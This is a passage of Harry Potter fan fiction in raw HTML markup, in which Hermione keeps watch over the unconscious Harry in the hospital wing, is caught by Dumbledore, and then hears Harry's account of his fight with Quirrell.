course\nI&#8217;m off,&#8221; Hermione hissed crossly. &#8220;Or didn&#8217;t you hear that Harry&#8217;s lying\nunconscious in the hospital.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville nodded\nnervously. &#8220;Yes of course I know.&nbsp;\nEverybody knows.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I was\nbeginning to wonder.&nbsp; The way people are\nacting around here, you&#8217;d think we&#8217;d just won the house cup,&#8221; Hermione\ngrumbled.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh,&#8221; Neville\nshifted nervously. &#8220;Well we all care, Hermione, just like you do.&nbsp; I guess it&#8217;s just hard to know what to do.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione headed\ntowards the portrait exit. &#8220;Well I know what I&#8217;m going to do,&#8221; she said\nstubbornly as she went out to the corridor, leaving Neville to stare after her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Once outside, she\npulled on the invisibility cloak and made her way swiftly down the corridor.&nbsp; It only took her five minutes to get to her\ndestination, the hospital wing.&nbsp; She\npushed her way through the door and checked to make sure Madam Pomfrey was\nnowhere to be seen.&nbsp; Hermione walked up\nto where Harry lay unconscious, still covered by the invisibility cloak.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She knelt down by\nhis bed. &#8220;Hi Harry, it&#8217;s me,&#8221; she said quietly. &#8220;I don&#8217;t know if you can hear\nme or not, but it&#8217;s okay if you can&#8217;t.&nbsp;\nEither way I just didn&#8217;t want to leave you here alone.&nbsp; I&#8217;m your friend and I&#8217;m going to be here for\nyou, no matter what.&#8221; She touched his head timidly.&nbsp; It was still very warm.&nbsp; She wondered vaguely if this meant he had\nsome sort of fever.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione found a\nchair and pulled it next to Harry&#8217;s bed.&nbsp;\nShe had decided she was going to stay all night if for no reason other\nthan to be there if he woke up.&nbsp; She knew\nit probably wouldn&#8217;t help any but it made her feel better.&nbsp; Hermione didn&#8217;t move from her spot the entire\nnight.&nbsp; Occasionally she would talk to\nHarry, still wondering if it was possible that he could hear her in his state.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Just before the\nfirst rays of light filtered into the room, Hermione threw the hood of the\ninvisibility cloak over her head.&nbsp; She\npromised Harry she would come back and then slipped quietly out of the room.&nbsp; It was almost six when she stepped back into\nthe common room and threw off the invisibility cloak, shoving it into her robe\npocket.&nbsp; Dizzy with exhaustion, she made\nher way to her dormitory and once again fell asleep on top of the covers.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione&#8230;\nHermione wake up!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rolled\nover and tried to block out the sound of Parvati calling her name, but it\ndidn&#8217;t work. &#8220;What!&#8221; she snapped finally.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Aren&#8217;t you going\nto the quidditch game?&#8221; Parvati asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What quidditch\ngame?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Gryffindor\nversus Ravenclaw, remember?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rolled\nback over to face her. &#8220;Shouldn&#8217;t it be canceled&#8230; wait, has Harry woken up?&#8221;\nshe asked excitedly. <i style="mso-bidi-font-style:normal">&#8220;That would be just\nlike him; wake up right in time to play quidditch.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Lee Jordon is\nsubstituting,&#8221; Parvati informed her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione frowned\nand rolled back over. &#8220;I&#8217;m not going.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Go away,&#8221; she\nhissed. &#8220;I&#8217;m tired.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione slept\nlate again.&nbsp; When she finally arose, she\nfound that everyone was still at the quidditch game, which was lasting longer\nthan usual.&nbsp; Once again, she completely\navoided the rest of her house that day; choosing to stay locked in her room\nwhile everyone was outside or in the common room.&nbsp; At one point Lavender came up to tell her\nthat Ron wanted to see if she would come visit Hagrid with him, but Hermione\nignored the question completely.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, are\nyou alright?&#8221; she asked when Hermione didn&#8217;t respond to her previous question.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m fine; I just\ndon&#8217;t want to be bothered.&#8221; Hermione said irritably.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lavender shrugged\nand left.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Later that\nevening, Hermione repeated her procedure from the previous night.&nbsp; At around 11 PM she descended the stairs to\nthe common room and found an empty corner to sit in.&nbsp; As people began to clear out, Neville walked\nby her and whispered a quick &#8220;Good luck,&#8221; before heading up the stairs to his\ndormitory.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;After the last group left the common room,\nHermione headed out through the portrait exit.&nbsp;\nFifteen minutes later she was once again in the deserted hospital wing\nsitting beside Harry&#8217;s bed.&nbsp; She was\nexhausted but still determined to stay.&nbsp;\nShe knew it didn&#8217;t make sense but it felt better than doing\nnothing.&nbsp; At least if she was there when\nHarry woke up, he&#8217;d see a friendly face instead of an empty white room.&nbsp; This is what she kept telling herself as she\ntried not to nod off.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione&#8230; Hermione\nwake up!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione pushed\noff the hand that was shaking her. &#8220;Parvati, for the last time, shove off.&nbsp; I don&#8217;t want to get up.&#8221;&nbsp; She tried to roll over and suddenly found\nherself crashing to the floor.&nbsp; She\nwasn&#8217;t in her bed after all; she had fallen asleep in the hospital wing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, are\nyou alright?&#8221; Someone helped her up.&nbsp; She\nfinally noticed it was Professor Dumbledore.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, Professor&#8230; I\nuh&#8230;&#8221; Hermione was still sleepy.&nbsp; She\nsuddenly realized that she had fallen out of her chair.&nbsp; The invisibility cloak was still hanging off\nher body making it look like her lower half had disappeared. &#8220;What time is it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore smiled\nas he helped Hermione to her feet. &#8220;It&#8217;s nearly 8 AM.&nbsp; I daresay Madam Pomfrey would have been quite\nalarmed if she had arrived before me.&nbsp;\nFinding an unauthorized student in the hospital wing is one thing, but\nfinding only half a student&#8230;&#8221; he gestured at the cloaked half of Hermione&#8217;s\nbody.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh&#8230;&#8221; Hermione\nstruggled awkwardly out of the invisibility cloak. &#8220;Professor, I know I&#8217;m not\nsupposed to be here,&#8221; she started to explain.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore held\nup a hand to silence her. &#8220;It is quite alright.&nbsp;\nYou do not have to explain to me.&nbsp;\nI know how frustrating it must be for you, feeling that there is nothing\nyou can do to help Harry in this state.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I just thought\nthat I should at least be here for him if he woke up,&#8221; Hermione said\nsheepishly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;An admirable\nthought, however, I believe your shift is over now.&nbsp; It is my turn to stand watch.&#8221; He took a seat\nnext to Harry&#8217;s bed. &#8220;Get some sleep Hermione.&nbsp;\nRest assured that you shall be the first I notify should Harry awaken.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thank you, sir.&#8221;\nHermione said folding up the invisibility cloak and shoving it in her pocket.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione walked\nout of the hospital wing still half asleep.&nbsp;\nShe was glad it was Professor Dumbledore that had caught her not only\nbecause he was understanding but also because he already knew about the\ninvisibility cloak according to what Harry had told her after the Christmas\nholidays.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her mind began to\nwander.&nbsp; When would Harry wake up?&nbsp; Was Professor Dumbledore sitting by his bed\nall day just like she had been doing during the nights?&nbsp; He must have been more concerned than he\noriginally let on.&nbsp; What could have\nhappened to Harry that Madam Pomfrey couldn&#8217;t revive him immediately?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rounded\na corner and crashed into someone. &#8220;Sorry,&#8221; she muttered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Geez Granger!&#8221;\nIt was Pansy Parkinson. &#8220;You look like hell and you&#8217;re more of a klutz than\nusual.&nbsp; What&#8217;s the matter?&nbsp; Mad that Slytherin is going to win the house\ncup?&nbsp; No wait, don&#8217;t tell me you&#8217;re\nlosing sleep over poor, pathetic Potter?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shut it,&#8221;\nHermione managed to mutter before pushing her way past Pansy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ooo, you <i style="mso-bidi-font-style:normal">are</i> in a tizzy,&#8221; Pansy called\ndelightedly after her. &#8220;Look on the bright side Granger, if Potter dies, maybe\nthey&#8217;ll build a statue for&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione whirled\naround pulling her wand out of her pocket. &#8220;I&#8217;m warning you&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pansy obviously\nhadn&#8217;t been expecting such a drastic reaction.&nbsp;\nShe took a few steps back, eyes wide. She knew she couldn&#8217;t draw her\nwand faster than Hermione could jinx her.&nbsp;\nAfter a second though, the sly grin returned to her face.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Fine,&#8221; she said\nshortly, taking a few more steps back. &#8220;Doesn&#8217;t really matter anyway.&nbsp; Still doesn&#8217;t change the fact that Potter\nfinally got what was coming to him,&#8221; and with those last words she skirted off\ndown the hall before Hermione could decide whether or not to make good on her\nthreat.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sighed\nwearily.&nbsp; She pocketed her wand and\nheaded back to Gryffindor Tower, wondering vaguely why Pansy always seemed to\nshow up when she was in a miserable mood.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Hermione\npushed her way through the portrait into the Gryffindor common room, she realized\nthat many of her housemates were already up.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione!&#8221;\nParvati and Lavender accosted her before she even had both feet over the\nthreshold. &#8220;Where have you been?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Out,&#8221; she\nanswered blandly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m tired,&#8221;\nHermione said pushing past them. &#8220;I need a soak, then I&#8217;m going to bed.&nbsp; Night.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But,&#8221; Parvati\nsaid again.<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Night!&#8221; Hermione snapped as she\nascended the stairs.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione!&#8221;\nLavender came bounding into the dormitory where Hermione still lay half asleep.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is it?&#8221;\nHermione asked shortly rolling over to face her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s Harry!&#8221;\nLavender said almost out of breath.&nbsp; She\nmust have run up the stairs.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione shot up,\nfully alert. &#8220;He&#8217;s awake?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lavender nodded,\na huge grin on her face.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione jumped\nout of her bed and dashed past Lavender and down the stairs to the common room\nwithout another word.&nbsp; Professor\nMcGonagall was standing by the portrait exit.&nbsp;\nRon was with her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry,&#8221; Hermione\ngasped. &#8220;He&#8217;s awake?&nbsp; He&#8217;s come &#8216;round?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, he has\nindeed.&#8221; Professor McGonagall was beaming. &#8220;The headmaster told me to inform\nyou both.&nbsp; Harry has completely\nrecovered.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m going to go\nsee him,&#8221; Hermione said immediately trying to sidestep McGonagall.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sorry, but\nMadam Pomfrey is not allowing any visitors yet.&#8221; McGonagall said reaching back\na hand to stop her. &#8220;You&#8217;ll be able to see him shortly, most likely at the end\nof year feast tomorrow evening.&#8221;&nbsp; She\npushed open the portrait and stepped awkwardly out.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re going to\ngo see him,&#8221; Hermione said to Ron as soon as McGonagall had left.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Right,&#8221; Ron\nagreed readily. &#8220;But shouldn&#8217;t you change first?&#8221;<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione examined herself.&nbsp; She was still in her night clothes. &#8220;Oh,\nright,&#8221; she said embarrassed. &#8220;Wait for me here, I&#8217;ll be back in a bit.&#8221; She\nran up to her dormitory.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Twenty minutes\nlater she skipped down the stairs again, an even bigger grin on her face.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Took you long enough,&#8221;\nRon said as she joined him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m a girl,&#8221;\nHermione informed him. &#8220;It takes longer for us to get dressed because we\nactually put some effort into it, unlike some people,&#8221; she said with a knowing\nlook.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Fine,&#8221; Ron scoffed,\n&#8220;Let&#8217;s go.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They made their\nway quickly down to the hospital wing.&nbsp;\nThe news of Harry&#8217;s revival must have spread because the corridors were\nfull of people chattering and Hermione could catch snatches of their\nconversations as they rushed past.&nbsp; It\nseemed that several people had already tried to see him, no doubt just wanting\nto see if he had another scar on his head from his latest confrontation with\nVoldemort.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron knocked on\nthe door of the hospital wing and Madam Pomfrey answered almost immediately.\n&#8220;I&#8217;m sorry but I&#8217;m not allowing anyone to see him right now,&#8221; she said with a\nbit of irritation in her voice.&nbsp;&nbsp; She&#8217;d\nobviously already said this one-too-many times.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re Harry&#8217;s\nbest friends,&#8221; Hermione said before the nurse had a chance to shut the door.\n&#8220;We <i style="mso-bidi-font-style:normal">want</i> to see him,&#8221; she added a bit\nmore forcefully than she had intended.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Madam Pomfrey\nstarted to protest again, but then Hermione heard Harry calling to her.&nbsp; The nurse left the door cracked as she went\nand spoke with Harry for a bit; then she came back. &#8220;Alright, I suppose a few\nminutes won&#8217;t hurt.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione beamed;\nHarry must have convinced her to let them in.&nbsp;\nShe approached Harry&#8217;s bed.&nbsp; He\nlooked very weak despite the grin on his face.&nbsp;\nStill she was so glad to see him awake that she wanted desperately to\nhug him, but she decided against it.&nbsp;\nBesides being embarrassing for her, she also figured he still needed\nsome recovery time.&nbsp; Instead she and Ron\npulled up chairs beside his bed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As they settled\nin, Harry began to explain what actually happened after Hermione left him to go\ninto the final chamber.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It was Quirrell\nall along,&#8221; he told them, &#8220;and all this time we thought it was Snape.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes we know,&#8221;\nHermione said. &#8220;Dumbledore told us.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;When I got\nthere, he was standing in front of the Mirror of Erised.&nbsp; The stone was inside the mirror, but he\ncouldn&#8217;t get it out.&nbsp; Dumbledore used the\nmirror to protect the stone.&nbsp; He said\nonly someone who wanted the stone but didn&#8217;t want to use it would be able to\nget it out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Bloody\nbrilliant,&#8221; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, that&#8217;s how\nI got the stone.&nbsp; I wanted to get it\nbefore Quirrell but I never had it in mind to actually use it but Voldemort was\nwith Quirrell and he must&#8217;ve figured it out.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He was with\nQuirrell?&#8221; Hermione gasped.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t say the\nname,&#8221; Ron shuddered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; Harry answered,\nignoring Ron. &#8220;And I mean he was <i style="mso-bidi-font-style:normal">really</i>\nwith Quirrell.&nbsp; You know that funny\nturban he always wears.&nbsp; Well Voldemort\nwas under it.&nbsp; He unwrapped it right in\nfront of me and when he turned around there was this horrible squashed looking\nface on the back of his head.&nbsp; He had two\nfaces!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione let out\na little shriek. &#8220;That&#8217;s the creepiest thing I&#8217;ve ever heard of.&nbsp; He was actually sharing a body with\nQuirrell?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, Quirrell\nwas the one killing unicorns and drinking their blood to keep Voldemort alive.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron involuntarily\nshuddered again. &#8220;Stop saying the name!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione and\nHarry both rolled their eyes. &#8220;Right anyway,&#8221; Harry continued.&nbsp; &#8220;So I got the stone out of the mirror but\nthen Vol&#8230;I mean &#8216;you know who&#8217; figured out that I had it and they attacked\nme.&nbsp; They were going to kill me to get\nthe stone.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gasped.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But the weirdest\nthing happened.&nbsp; Quirrell couldn&#8217;t touch\nme with his bare hands.&nbsp; Every time he\ndid, he&#8217;d go crazy with pain.&nbsp; Dumbledore\nsaid it had something to do with &#8216;you know who&#8217; being inside him and how he\ncouldn&#8217;t touch me because of a kind of mark that was left on me by my mother\nbefore I died.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What kind of\nmark?&#8221; Hermione asked but Harry ignored the question and pressed forward.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So I just\ngrabbed onto Quirrell&#8217;s arm and kept him in as much pain as possible.&nbsp; The only thing though was as long as I was\ntouching him, my scar would explode with pain.&nbsp;\nIt was so intense that I guess I blacked out.&nbsp; Next thing I knew, I was here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And the stone?&#8221;\nRon asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dumbledore said\nhe destroyed it.&nbsp; I&#8217;m not really sure\nhow.&nbsp; Speaking of such, do you know he&#8217;s\nthe one who sent me my father&#8217;s cloak?&nbsp; I\nhad thought as much.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron looked\ndisappointed. &#8220;So the stone&#8217;s gone?&nbsp;\nFlamel&#8217;s just going to die?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded.\n&#8220;That&#8217;s what I said, but Dumbledore thinks that&#8230; what was it? &#8216;To the well\norganized mind, death is but the next great adventure.&#8217;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron shook his\nhead in exasperation. &#8220;I always said he was off his rocker.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So what happened\nto you two?&#8221; Harry asked and Hermione immediately shot into an explanation of\nwhat happened after she left him all the way up to meeting Dumbledore in the\nentrance hall.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You think he\nmeant you to do it,&#8221; Ron asked thoughtfully, interrupting Hermione&#8217;s story.\n&#8220;Sending you your father&#8217;s cloak and everything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave\nthem both a look of shock. &#8220;Well if he did, I mean to say, that&#8217;s\nterrible.&nbsp; You could have been killed!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No it isn&#8217;t,&#8221;\nHarry contradicted her. &#8220;He&#8217;s a funny man, Dumbledore.&nbsp; I think he sort of wanted to give me a\nchance.&nbsp; I think he knows more or less\neverything that goes on here, you know?&nbsp;\nI reckon he had a pretty good idea we were going to try and instead of\nstopping us, he just taught us enough to help.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione thought\nabout this as Harry continued. <i style="mso-bidi-font-style:normal">&#8220;Maybe\nhe&#8217;s right.&nbsp; I mean Dumbledore had to\nhave known how much we knew about the stone already, but he never tried to stop\nus or warn us not to go after Voldemort.&nbsp;\nIt&#8217;s as if he wanted to see if we really would try and face him even if\nwe knew the odds were against us.&#8221;</i>&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She didn&#8217;t know\nwhat to make of this.&nbsp; On one hand,\nDumbledore seemed reckless for allowing three first year students to go down\nthat trap door when it was clearly dangerous, but on the other hand, would they\nhave really listened to him if he had told them not to go?&nbsp; Probably not.&nbsp;\nThey didn&#8217;t listen to McGonagall; they probably wouldn&#8217;t have listened\nto him either.&nbsp; So rather than do\nsomething futile, he just tried to help as much as he could.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Before Hermione\nhad a chance to return to the conversation, Madam Pomfrey came over to usher\nthem out of the hospital wing saying that Harry needed his rest.&nbsp; Hermione didn&#8217;t argue with her.&nbsp; She was just glad to be able to see Harry.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So now what?&#8221;\nRon asked as Madam Pomfrey slammed the door behind them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s\nstomach grumbled audibly. &#8220;Lunch; I feel like I haven&#8217;t eaten in days.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well glad to see\nyou&#8217;re back to normal&#8230; well at least normal for you.&#8221; Ron grinned.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shut it,\nWeasley.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was back\nto her normal self.&nbsp; She ate a huge lunch\nand returned to the common room laughing and joking with Ron.&nbsp; She found her two roommates and apologized\nfor the foul mood she had been in before and they readily accepted the apology\nright before quizzing her once again on the details of what really happened beneath\nin the trap door.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; So many rumors\nhad been flying around the past few days that Hermione decided to oblige by\ntelling them the truth.&nbsp; She figured if\nthe story was going to be spread around school it might as well be the truth\nand who better to tell it to than Parvati Patil one of the two biggest gossips\nin the school, the second being her twin sister.&nbsp; Now that she had Harry&#8217;s account of what\nhappened, she was able to tell Lavender and Parvati the whole story.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh my goodness,\nand that&#8217;s why he was in the hospital wing for so long?&#8221; Lavender said with her\nhand to her mouth.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, but now\nthat he&#8217;s up, he should be going to the end of year feast tomorrow.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can&#8217;t wait to\ntell Padma.&#8221; Parvati was sitting on her hands.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why wait,&#8221;\nHermione half muttered. &#8220;The day&#8217;s still young.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re right,&#8221;\nParvati said jumping up excitedly. &#8220;Come on Lavender.&#8221; and they left the common\nroom to find Parvati&#8217;s twin sister.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione laughed,\nnot at all upset that she had just been abandoned by her two gossip-loving\nroommates. &#8220;Figures.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At that moment,\nRon came back down the stairs from his dormitory. &#8220;I&#8217;ve just thought of\nsomething.&nbsp; Hagrid might not know that\nHarry&#8217;s awake. We should go see him.&nbsp;\nHe&#8217;s been really torn up about this whole thing.&nbsp; You should have seen him yesterday.&#8221;</p>\n\n<p 